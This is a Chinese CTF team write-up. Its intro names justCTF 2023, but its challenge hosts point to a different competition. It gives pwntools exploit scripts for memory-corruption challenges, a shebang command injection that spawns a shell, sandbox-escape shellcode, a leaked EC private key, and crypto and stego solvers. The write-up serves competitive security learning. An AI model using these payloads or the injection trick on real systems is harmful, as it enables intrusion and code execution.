在本次2023年的 justCTF 国际赛上,星盟安全团队的Polaris战队和Chamd5的Vemon战队联合参赛,合力组成VP-Union联合战队,取得了第37名的成绩。

排名 队伍 总分
31 jmp fs: rcx 2020
32 nopnop 2007
33 ttt 2001
34 The Maccabees 1979
35 SNHT 1977
36 KITCTF 1782
37 VP-Union 1742
38 Katzebin 1703
39 🇫🇷🛹🐻 1702
40 ./Vespiary 1650

PWN

ubf

a1->offset可为负数,导致向上溢出。

unsigned __int64 __fastcall fix_corrupt_booleans(node2 *a1)
{
  unsigned __int64 result; // rax
  unsigned __int64 v2; // [rsp+10h] [rbp-18h]
  char *v3; // [rsp+18h] [rbp-10h]
  int i; // [rsp+24h] [rbp-4h]

  v3 = (char *)(a1->buf + a1->offset);
  v2 = a1->buf + a1->size;
  for ( i = 0; ; ++i )
  {
    result = (unsigned int)a1->len;
    if ( i >= (int)result )
      break;
    result = (unsigned __int64)&v3[i];
    if ( result >= v2 )
      break;
    v3[i] = v3[i] != 0;
  }
  return result;
}

利用脚本:

#!/usr/bin/env python3
# -*- coding:utf-8 -*-

from pwn import *
context.clear(arch='amd64', os='linux', log_level='debug')

sh = remote('ubf.2023.ctfcompetition.com', 1337)
sh.recvuntil(b'encoded:')
payload = b''
payload += p32(5) + p8(115) + p16(1) + p16(2) + p16(5) + b'$FLAG'
payload += p32(0x28) + p8(98) + p16(1) + p16(0xff72) + b'\x01'
sh.sendline(base64.b64encode(payload))

sh.interactive()

write-flag-where

#!/usr/bin/env python3
# -*- coding:utf-8 -*-

from pwn import *
context.clear(arch='amd64', os='linux', log_level='debug')

sh = remote('wfw1.2023.ctfcompetition.com', 1337)

sh.recvuntil(b'have a shot.\n')
image_addr = int(sh.recvuntil(b'-', drop=True), 16)
success('image_addr: ' + hex(image_addr))
sh.sendline(('0x%lx %u' % (image_addr+0x21e0, 80)).encode())

sh.interactive()

write-flag-where2

#!/usr/bin/env python3
# -*- coding:utf-8 -*-

from pwn import *
context.clear(arch='amd64', os='linux', log_level='error')

def leak(offset, chr):
    sh = remote('wfw2.2023.ctfcompetition.com', 1337)
    
    sh.recvuntil(b'fluff\n')
    image_addr = int(sh.recvuntil(b'-', drop=True), 16)
    sh.recvuntil(b'\n\n\n')
    sh.send(('0x%lx %u\n' % (image_addr+0x20BC-offset, offset+1)).encode().ljust(0x40, b'\0'))
    sh.send(('%cx%lx %u\n' % (chr, image_addr, 0)).encode().ljust(0x40, b'\0'))
    try:
        sh.recvn(1, timeout=1)
        sh.close()
        return True
    except EOFError:
        sh.close()
        return False

table = '_{}?' + string.digits + string.ascii_lowercase + string.ascii_uppercase
flag = 'CTF{impr355iv3_6ut_can_y0u_s01v3_cha113ng3_3?}'
while(True):
    find = False
    for chr in table:
        if leak(len(flag), chr):
            find = True
            flag += chr
            print(flag)
            break

    if not find:
        break

write-flag-where3

#!/usr/bin/env python3
# -*- coding:utf-8 -*-

from pwn import *
context.clear(arch='amd64', os='linux', log_level='debug')

sh = remote('wfw3.2023.ctfcompetition.com', 1337)
result = sh.recvuntil(b'.so').split(b'\n')[-1]
libc_addr = int(result[:12], 16)
success('libc_addr: ' + hex(libc_addr))
sh.recvuntil(b'\n\n\n')

sh.send(('0x%lx %u\n' % (libc_addr + 0x218e10-0x70, 0x78)).encode().ljust(0x40, b'\0'))
sh.send(('0x%lx %u\n' % (libc_addr + 0x218e10, 1)).encode().ljust(0x40, b'\0'))
sh.send(('0x%lx %u\n' % (libc_addr + 0x115110+1, 1)).encode().ljust(0x40, b'\0'))
sh.send(('0x%lx %u\n' % (libc_addr + 0x114A28, 1)).encode().ljust(0x40, b'\0'))
sh.send(('0x%lx %u\n' % (libc_addr + 0x114A67, 1)).encode().ljust(0x40, b'\0'))

sh.send(('0x%lx %u\n' % (0, 0x70)).encode().ljust(0x13, b'\0') + p32(1337))

sh.interactive()

storygen

顶部#可以执行任意程序

!/usr/bin/python3 -cimport os;os.system("sh");#

GRADEBOOK

update_grade函数可以修改结构体,导致溢出。

void __fastcall update_grade(__int64 *ptr_offset, __int64 i)
{
  __int64 v2; // [rsp+10h] [rbp-10h] BYREF
  grade *v3; // [rsp+18h] [rbp-8h]

  if ( *ptr_offset )
  {
    if ( i == grade_num )
    {
      v3 = (grade *)((char *)addr + *ptr_offset);
      v2 = 0LL;
      output("NEW GRADE:\n");
      __isoc99_scanf("%2s", &v2);
      *(_WORD *)v3->grade = v2;                 // Hijack struct
    }
  }
}

利用脚本:

#!/usr/bin/env python3
# -*- coding:utf-8 -*-

from pwn import *
context.clear(arch='amd64', os='linux', log_level='debug')

def remove_grade():
    sh.sendlineafter(b'QUIT\n\n', b'3')
    sh.sendlineafter(b'WHICH GRADE:\n', b'1')

def upgrade_grade():
    sh.sendlineafter(b'QUIT\n\n', b'2')
    sh.sendlineafter(b'WHICH GRADE:\n', b'1')
    sh.sendlineafter(b'NEW GRADE:\n', b'\x40')

def add_grade(addr):
    sh.sendlineafter(b'QUIT\n\n', b'1')
    sh.sendlineafter(b'CLASS:\n', b'0')
    sh.sendlineafter(b'COURSE TITLE:\n', b'\xff' * 7 + b'\0' + p64(addr) + p64(0))
    sh.sendlineafter(b'GRADE:\n', b'0')
    sh.sendlineafter(b'TEACHER:\n', b'0')
    sh.sendlineafter(b'ROOM:\n', b'0')
    sh.sendlineafter(b'PERIOD:\n', b'0')

sh = remote('gradebook.2023.ctfcompetition.com', 1337)
sh.sendlineafter(b'PLEASE LOGON WITH USER PASSWORD:\n', b'pencil')
sh.sendlineafter(b'3. QUIT\n\n', b'2')
sh.sendlineafter(b'NTER FILENAME:\n', b'/tmp/grades_'.ljust(44, b'a'))
sh.sendlineafter(b'ENTER FILE SIZE:\n', str(0x100).encode())
sh.send(flat({0:b'G', 0x48:0xf0, 0x50:0x3a, 0x58:0xf0, 0x3a+0x2c:0x20202020}, filler=b'\0', length=0x100))
sh.sendlineafter(b'3. QUIT\n\n', b'1')

sh.sendlineafter(b'NTER FILENAME:\n', b'/tmp/grades_'.ljust(44, b'a'))
sh.recvuntil(b'0' + b' ' * 0x10)
stack_addr = u64(sh.recvn(6) + b'\0\0')
success('stack_addr: ' + hex(stack_addr))

upgrade_grade()

add_grade(stack_addr+0x38-0x00004752ade50000)
sh.recvuntil(b'\n   ')
image_addr = u64(sh.recvn(6) + b'\0\0') - 0x2386
success('image_addr: ' + hex(image_addr))

sh.sendlineafter(b'QUIT\n\n', b'5')

sh.sendlineafter(b'3. QUIT\n\n', b'2')
sh.sendlineafter(b'NTER FILENAME:\n', b'/tmp/grades_'.ljust(44, b'b'))
sh.sendlineafter(b'ENTER FILE SIZE:\n', str(0x100).encode())
sh.send(flat({0:b'G', 0x48:0xf0, 0x50:0x3a, 0x58:0xf0, 0x3a+0x2c:0x20202020, 
              0x48+0x80:0xffffffffffffff, 0x50+0x80:0x3a, 0x58+0x80:stack_addr + 8 - 0x00004752ade50080}, filler=b'\0', length=0x100))
sh.sendlineafter(b'3. QUIT\n\n', b'1')
sh.sendlineafter(b'NTER FILENAME:\n', b'/tmp/grades_'.ljust(44, b'b'))
upgrade_grade()

add_grade(image_addr+0x50f0-0x1e-0x00004752ade50000)

sh.sendlineafter(b'QUIT\n\n', b'2')
sh.sendlineafter(b'WHICH GRADE:\n', b'1')
sh.sendlineafter(b'NEW GRADE:\n', b'\x80')

sh.sendlineafter(b'QUIT\n\n', b'1')
sh.sendlineafter(b'CLASS:\n', p64(image_addr + 0x16e1))

sh.interactive()

Crypto

LEAST COMMON GENOMINATOR?

  • 公钥解析
  • LCG
from gmpy2 import gcd, invert
from Crypto.Util.number import *

E = 65537
N = 10663197782188755187683519128391607889384236984841159980368295444757556251666173181966270935627381363634363152017932100870866073743196496182631686860974529519304898483583880797787662017633083156395595834399833548697123723014690019039843286516441722069672629491734333533874814655021750465470744221908153042891598629847474248035637833322061522018106952433195747728295433960640630861246440503259390376775374597599893181929337896828585045200809527092809746018806372033463639511758548910283175609247004446838778595246305426570138737826179346237355482797652195577697810275921391495040635386160960077290295503041318571091585994232128977189250560450541724526298324540333633756525782039764692046496665886338829810667477580556894564708344208454824227841439832096019161139930247745872364451624685509376111571650368725564985474387879414080347347860850162991841345901292668284154455326375190710973306072342463052980587717861754724857153296737480485351289440257347649463959856275061657492903860650820592573032713540474706170687783458640870091611869081448943812812946839710972240290444677129959352614435646729998203754847928052523568784250017348717982594389028978174915940120215557880850880860400503991453968452316505964854586987874049061874850121
seed = 211286818345627549183608678726370412218029639873054513839005340650674982169404937862395980568550063504804783328450267566224937880641772833325018028629959635
data = [
    2166771675595184069339107365908377157701164485820981409993925279512199123418374034275465590004848135946671454084220731645099286746251308323653144363063385,
    6729272950467625456298454678219613090467254824679318993052294587570153424935267364971827277137521929202783621553421958533761123653824135472378133765236115,
    2230396903302352921484704122705539403201050490164649102182798059926343096511158288867301614648471516723052092761312105117735046752506523136197227936190287,
    4578847787736143756850823407168519112175260092601476810539830792656568747136604250146858111418705054138266193348169239751046779010474924367072989895377792,
    7578332979479086546637469036948482551151240099803812235949997147892871097982293017256475189504447955147399405791875395450814297264039908361472603256921612,
    2550420443270381003007873520763042837493244197616666667768397146110589301602119884836605418664463550865399026934848289084292975494312467018767881691302197]

s = data

t = []
for i in range(1, len(s)):
    t.append(s[i] - s[i - 1])

tt = []
for i in range(1, len(t) - 1):
    tt.append(t[i + 1] * t[i - 1] - t[i] * t[i])

n = tt[0]
for i in tt:
    n = gcd(n, i)

lcg_n = abs(n)
a = (s[2] - s[1]) * invert((s[1] - s[0]), lcg_n) % lcg_n
b = (s[1] - a * s[0]) % lcg_n
primes_n = 1
primes_arr = []
while True:
    for i in range(8):
        while True:
            seed = (seed*a+b) % lcg_n
            prime_candidate = seed
            if not isPrime(prime_candidate):
                continue
            elif prime_candidate.bit_length() != 512:
                continue
            else:
                primes_n *= prime_candidate
                primes_arr.append(prime_candidate)
                break

    # Check bit length
    if primes_n.bit_length() > 4096:
        print("bit length", primes_n.bit_length())
        primes_arr.clear()
        primes_n = 1
        continue
    else:
        break

# Create public key 'n'
n = 1
for j in primes_arr:
    n *= j
print("[+] Public Key: ", n)
print("[+] size: ", n.bit_length(), "bits")
assert n == N
# Calculate totient 'Phi(n)'
phi = 1
for k in primes_arr:
    phi *= (k - 1)

# Calculate private key 'd'
d = pow(E, -1, phi)

with open('4e90c59c2c12ac422f0b83094cca2c3e5c4c7cce464dddc5cb2ad391155f11c96a183290a289dfe1c64cc9e3cd467706f07e621904588ca4def3a4f6906234b7/flag.txt', 'rb') as f:
    c = bytes_to_long(f.read()[::-1])
m = int(pow(c,d,n))
flag = long_to_bytes(m)
print(flag)  # b'CTF{C0nGr@tz_RiV35t_5h4MiR_nD_Ad13MaN_W0ulD_b_h@pPy}'

PRIMES

  • 爆破_的位置,减小x使得x小于q
  • 取余运算确定明文各位
import libnum
from itertools import product, combinations
from string import printable
printable = printable[:-6]


def to_bits(m):
    _bin = lambda b : [1 if b & (1 << n) else 0 for n in range(7)]
    return sum([_bin(b) for b in m], [])

def gen_primes(r, n):
    primes = Primes()[:n]
    bound = prod(primes[n - r:])
    return primes, next_prime(bound)

def prod_exp(p, q, b):    
    return prod([p[i]^b[i] for i in range(len(p))]) % q

def encode(r, n, m):
    p, q = gen_primes(r, n)
    return p, q, prod_exp(p, q, to_bits(m))

def l2b(a:list):
    a = [str(i) for i in a]
    tmp = ''
    for i in range(len(a)//7):
        tmp += '0' + ''.join(a[i*7:(i+1)*7][::-1])
    return libnum.n2s(int(tmp,2))

m = b"I have a sweet flag for you: CTF{YkDOLIStjpjP5Am1SXDt5d2r9es3b5KZP47v8rXF}"
known = b'I have a sweet flag for you: CTF{'
ml = to_bits(m)
p, q, x = encode(131, 7*len(m), m)

x = 0x947062E712C031ADD0B60416D3B87D54B50C1EFBC8DBB87346F960B242AF3DF6DD47406FEC98053A967D28FE91B130FF0FE93689122931F0BA6E73A3E9E6C873B8E2344A459244D1295E99A241E59E1EEA796E9738E6B1EDEED3D91AE6747E8ECA634C030B90B02BAF8AE0088058F6994C7CAC232835AC72D8B23A96F10EF03D74F82C49D4513423DAC298698094B5C631B9C7C62850C498330E9D112BB9CAA574AEE6B0E5E66D5B234B23C755AC1719B4B68133E680A7BCF48B4CFD0924D

for i in range(len(known)*7):
    if ml[i]:
        x = (x * inverse_mod(p[i], q)) % q
        
for i in range(-7,0):  # }
    if ml[i]:
        x = (x * inverse_mod(p[i], q)) % q
        
tp = p[len(known)*7:-7]
r = 0  # 爆破中末尾字符的长度
rr = 5 # 爆破中下划线的出现次数
num_ = to_bits(b'_')
for i in product(printable, repeat=r):
    i = ''.join(i).encode()

    tmp_xx = x
    tmp_b = to_bits(i)
    for k in range(len(tmp_b)):  # 消字符
        if tmp_b[k]:
            tmp_xx = (tmp_xx * inverse_mod(tp[k-7*r], q)) % q


    for tt in combinations(range(1, 40-r), rr):
        real_ml = []
        tmp_x = tmp_xx
        for t in tt:  # 消下划线
            for k in range(len(num_)):
                if num_[k]:
                    tmp_x = (tmp_x * inverse_mod(tp[7*t+k], q)) % q
            
        
        
        if int(tmp_x).bit_length() <= 1515:
            for j in tp:
                if len(real_ml) == 7:
                    if all([i==0 for i in real_ml]):
                        break
                if (tmp_x % j) == 0:
                    real_ml.append(1)
                else:
                    real_ml.append(0)
                    
            if r != 0:
                tttt = l2b(real_ml)[:-r]
            else:
                tttt = l2b(real_ml)
            if (len(real_ml) > 7) and (len(str(tttt))<60) and (tttt.count(b'\x00')<10): 
                print(i)
                print(real_ml)
                print(l2b(real_ml))
                print(tttt.replace(b'\x00', b'_')+i)  
                # w0W_c0Nt1nUed_fr4Ct10ns_suR3_Ar3_fUn_Huh
                # CTF{w0W_c0Nt1nUed_fr4Ct10ns_suR3_Ar3_fUn_Huh}

MYTLS

使用guest登录在write-only file storage的时候可以利用代码达到一个爆破server-ecdhkey.pem的目的,爆破的原理就是241的长度我们可以覆盖前面240个保留最后一个原本的字符串,然后去爆破sha256,先爆破文件长度是241,然后是爆破了内容

-----BEGIN PRIVATE KEY-----
MIGHAgEAMBMGByqGSM49AgEGCCqGSM49AwEHBG0wawIBAQQgodXSjxjUm89w/y6m
hRc9c7aOOYIgy5m4K++AXeErUKahRANCAARNWVuTXe/JBFanevD4MMlIDyZ8xXKz
nyUf63kGe9RBfFPek03cHJhEM5Fhe/1hHS2Jz2+R9zZWHd5gVYWFf2uC
-----END PRIVATE KEY-----

得到了私钥之后按照原本的逻辑去写一个交互即可

from cryptography import x509
from cryptography.hazmat.backends import default_backend
from cryptography.hazmat.primitives import serialization
from cryptography.hazmat.primitives import hashes
from cryptography.hazmat.primitives import hmac
from cryptography.hazmat.primitives.asymmetric import ec
from cryptography.hazmat.primitives.asymmetric import padding
from cryptography.hazmat.primitives.ciphers import Cipher, algorithms, modes
from cryptography.hazmat.primitives.kdf.hkdf import HKDF
from Crypto.Util.number import *
from secrets import token_hex
from pwn import *
def print_encrypted(payload, iv, key):
  cipher = Cipher(
      algorithms.AES(key),
      modes.CBC(binascii.unhexlify(iv)))
  decryptor = cipher.decryptor()
  payload = long_to_bytes(int(payload,16))
  return decryptor.update(payload).strip(b'\x00')
tube = remote("mytls.2023.ctfcompetition.com", 1337)
with open('ca-crt.pem', 'rb') as ca_file:
    ca = x509.load_pem_x509_certificate(ca_file.read())
with open('server-ecdhcert.pem', 'rb') as server_cert_file:
    server_cert_content = server_cert_file.read()
    server_cert = x509.load_pem_x509_certificate(server_cert_content)
ca.public_key().verify(
        server_cert.signature,
        server_cert.tbs_certificate_bytes,
        padding.PKCS1v15(),
        server_cert.signature_hash_algorithm)
with open('server-ecdhkey.pem', 'rb') as server_key_file:
    server_key = serialization.load_pem_private_key(server_key_file.read(),
                                                    None, default_backend())
tube.recvuntil(b"Please provide the client certificate in PEM format:\n")
for i in open('admin-ecdhcert.pem', 'rb').read().split(b"\n"):
    tube.sendline(i)
tube.recvuntil(b"Please provide the ephemeral client random:\n")
client_ephemeral_random = token_hex(16)
tube.sendline(client_ephemeral_random.encode())
client_ephemeral_key = ec.generate_private_key(ec.SECP256R1(),default_backend())
client_ephemeral_public_key = client_ephemeral_key.public_key()
client_ephemeral_public_key_pem = client_ephemeral_public_key.public_bytes(encoding=serialization.Encoding.PEM,format=serialization.PublicFormat.SubjectPublicKeyInfo)
tube.recvuntil(b"Please provide the ephemeral client key:\n")
for i in client_ephemeral_public_key_pem.split(b"\n"):
    tube.sendline(i)
client_cert = x509.load_pem_x509_certificate(open('admin-ecdhcert.pem', 'rb').read())
tube.recvuntil(b"Server ephemeral random:\n")
server_ephemeral_random = tube.recvline().strip(b"\n").decode()
tube.recvuntil(b'Server ephemeral key:\n')
server_ephemeral_public_key = serialization.load_pem_public_key(tube.recvuntil(b'-----END PUBLIC KEY-----\n\n'))
server_ephemeral_secret = client_ephemeral_key.exchange(ec.ECDH(), server_ephemeral_public_key)
server_secret = server_key.exchange(ec.ECDH(), client_cert.public_key())
derived_key = HKDF(algorithm=hashes.SHA256(),length=32,salt=b'SaltyMcSaltFace',info=b'mytls').derive(server_ephemeral_secret +server_secret +client_ephemeral_random.encode('utf-8') +server_ephemeral_random.encode('utf-8'))
client_hmac = hmac.HMAC(derived_key, hashes.SHA256())
client_hmac.update(b'client myTLS successful!')
tube.recvuntil(b"Please provide the client HMAC:\n")
tube.sendline(binascii.hexlify(client_hmac.finalize()))
tube.recvuntil(b"Server HMAC:\n")
w = tube.recvline().strip(b"\n")
server_hmac = hmac.HMAC(derived_key, hashes.SHA256())
server_hmac.update(b'server myTLS successful!')
server_hmac.verify(binascii.unhexlify(w))
r=tube.recvline().strip(b"\n")
print(print_encrypted(r, server_ephemeral_random, derived_key))

re

ZERMATT

代码写的很难看,但是仔细观察可以发现每一次操作前面都会出现03xx3O00的格式猜测这是固定的,然后搜索一下read,print中间的,发现存在着两段数据,然后其实基本的操作符很少,猜测一下常用的,在使用异或的时候发现了CTF{字样,成功得到flag

from Crypto.Util.strxor import *
from Crypto.Util.number import *
s1 = "DF17EB31E4E81CC12FC4EF37F223D1C334CC39FAF22CD915C4C321D43EC0FF2CC92FFAFE22DE2FFAEF22C32EC7F33BF22FD6FF22DD2FD8"
s2 = "9C43AD4AA5"
s1=long_to_bytes(int(s1,16))
s2=long_to_bytes(int(s2,16))
k=b''
for i in range(len(s1)//len(s2)):
   k+=strxor(s1[i*len(s2):(i+1)*len(s2)],s2)
print(k)
#CTF{At_least_it_was_not_a_bytecode_base_sandbox_escape}

MISC

PAPAPAPA

前期各种lsb、盲水印、binwalk、zsteg都不行 后来想到手动改宽高 发现还真有点东西

img

于是基于这张图片2.jpg 写脚本爆破jpg宽度(此时这张图片的高度是0200 宽度0300 并且宽高的字节位置也发生了变化)

import struct
filename = input("file:")
with open(filename, 'rb') as f:
    all_b = f.read()
    #w = all_b[159:161]
    #h = all_b[157:159]
    for i in range(512,1500):
        name = str(i) + ".jpg"
        f1 = open(r"./output/" + name,"wb")
        im = all_b[:201]+struct.pack('>h',i)+all_b[203:]
        f1.write(im)
        f1.close()

得到flag

img

CTF{rearview-monorail-mullets-backroom-stopped}

SYMATRIX

cython里面实际上包含了python源代码,只不过有点像编译过程被拆开来了,我们可以搜索encoder.py去依次寻找恢复原python代码

from PIL import Image
from random import randint
import binascii
def hexstr_to_binstr(hexstr):
    n = int(hexstr, 16)
    bstr = ''
    while n > 0:
        bstr = str(n % 2) + bstr
        n = n >> 1
    if len(bstr) % 8 != 0:
        bstr = '0' + bstr
    return bstr

def pixel_bit(b):
    return tuple((0, 1, b))

def embed(t1, t2):
    return tuple((t1[0] + t2[0], t1[1] + t2[1], t1[2] + t2[2]))

def full_pixel(pixel):
    return pixel[1] == 255 or pixel[2] == 255
print("Embedding file...")
bin_data = open("./flag.txt", 'rb').read()
data_to_hide = binascii.hexlify(bin_data).decode('utf-8')
base_image = Image.open("./original.png")
x_len, y_len = base_image.size
nx_len = x_len * 2
new_image = Image.new("RGB", (nx_len, y_len))
base_matrix = base_image.load()
new_matrix = new_image.load()
binary_string = hexstr_to_binstr(data_to_hide)
remaining_bits = len(binary_string)
nx_len = nx_len - 1
next_position = 0
for i in range(0, y_len):
    for j in range(0, x_len):
        pixel = new_matrix[j, i] = base_matrix[j, i]
        if remaining_bits > 0 and next_position <= 0 and not full_pixel(pixel):
            new_matrix[nx_len - j, i] = embed(pixel_bit(int(binary_string[0])),pixel)
            next_position = randint(1, 17)
            binary_string = binary_string[1:]
            remaining_bits -= 1
        else:
            new_matrix[nx_len - j, i] = pixel
            next_position -= 1
new_image.save("./symatrix.png")
new_image.close()
base_image.close()
print("Work done!")
exit(1)

然后写一个脚本逆一下过程就能恢复flag

from PIL import Image
import binascii

def get_lsb(pixel,pixel2):
    return pixel2[2]-pixel[2]

def extract_data(image_path):
    # 从图像中提取隐藏的数据
    image = Image.open(image_path)
    width, height = image.size
    index=image.load()
    data = ""
    for i in range(height):
        for j in range(width//2):
            pixel = index[j,i]
            if(pixel!=index[width-1-j,i]):
               lsb = get_lsb(pixel,index[width-1-j,i])
               data += str(lsb)
    image.close()
    return data

def binary_to_hex(binary_str):
    # 将二进制字符串转换为十六进制字符串
    hex_str = hex(int(binary_str, 2))[2:]
    return hex_str

def hex_to_ascii(hex_str):
    # 将十六进制字符串转换为ASCII字符串
    ascii_str = binascii.unhexlify(hex_str).decode('utf-8')
    return ascii_str

# 从图片中提取数据
data = extract_data("./symatrix.png")
print(hex_to_ascii(binary_to_hex(data)))
#CTF{W4ke_Up_Ne0+Th1s_I5_Th3_Fl4g!}

Sandbox

fastbox

句柄未清理干净,可以和forkClient进行通信。通过句柄4可以进行协议同步,并设置hostname来伪造forkRequest请求,从而绕过pivot_chroot沙箱。

$ ls -l /proc/67/fd
total 0
lrwx------ 1 1000 1000 64 Jun 26 02:27 0 -> 'socket:[124445]'
lrwx------ 1 1000 1000 64 Jun 26 02:27 1 -> 'socket:[124445]'
lrwx------ 1 1000 1000 64 Jun 26 02:27 1023 -> 'socket:[69962]'
lrwx------ 1 1000 1000 64 Jun 26 02:27 1337 -> '/memfd:payload (deleted)'
lrwx------ 1 1000 1000 64 Jun 26 02:27 2 -> 'socket:[124445]'
lrwx------ 1 1000 1000 64 Jun 26 02:27 4 -> 'socket:[69961]'

利用脚本:

#!/usr/bin/env python3
# -*- coding:utf-8 -*-

from pwn import *
context.clear(arch='amd64', os='linux', log_level='debug')

sh = remote('localhost', 9541)

sh.sendlineafter(b'Payloads to execute [0-5]: ', str(2).encode())

sh.sendlineafter(b'Hostname: ', b'google')
payload = asm('''
        
    mov edi, 4
    lea rsi, [rsp-0x1000]
    mov edx, 4+8+18
    mov eax, 0
    syscall

    mov edi, 1
    lea rsi, [rsp-0x1000]
    mov edx, eax
    mov eax, 1
    syscall

    mov edi, 1
    mov eax, 231
    syscall ;// exit

''')
sh.sendlineafter(b'Payload size in bytes [<1MiB]: ', str(len(payload)).encode())
sh.send(payload)

fake_protocol = b"\30\x03\x20\x80\x80\x80\xe4\x062\6\22\4\"\2\30\0:\6google@\0H\1"
hostname = p32(0x80000102) + p64(len(fake_protocol) + 4) + fake_protocol

time.sleep(1)   

payload = asm('''

    xor eax, eax
    push rax
    mov rax, 0x7478742e67616c66
    push rax
    ;// "flag.txt"

    mov rdi, rsp
    xor eax, eax
    mov esi, eax
    mov al, 2
    syscall ;// open

    push rax
    mov rsi, rsp
    xor eax, eax
    mov edx, eax
    inc eax
    mov edi, eax
    mov dl, 8
    syscall ;// write open() return value

    pop rax
    test rax, rax
    js over

    mov edi, eax
    mov rsi, rsp
    mov edx, 0x01010201
    sub edx, 0x01010101
    xor eax, eax
    syscall ;// read

    mov edx, eax
    mov rsi, rsp
    xor eax, eax
    inc eax
    mov edi, eax
    syscall ;// write

over:
    xor edi, edi
    mov eax, 0x010101e8
    sub eax, 0x01010101
    syscall ;// exit
    ''')

sh.sendlineafter(b'Hostname: ', hostname)
sh.sendlineafter(b'Payload size in bytes [<1MiB]: ', str(len(payload)).encode())
sh.send(payload)

sh.interactive()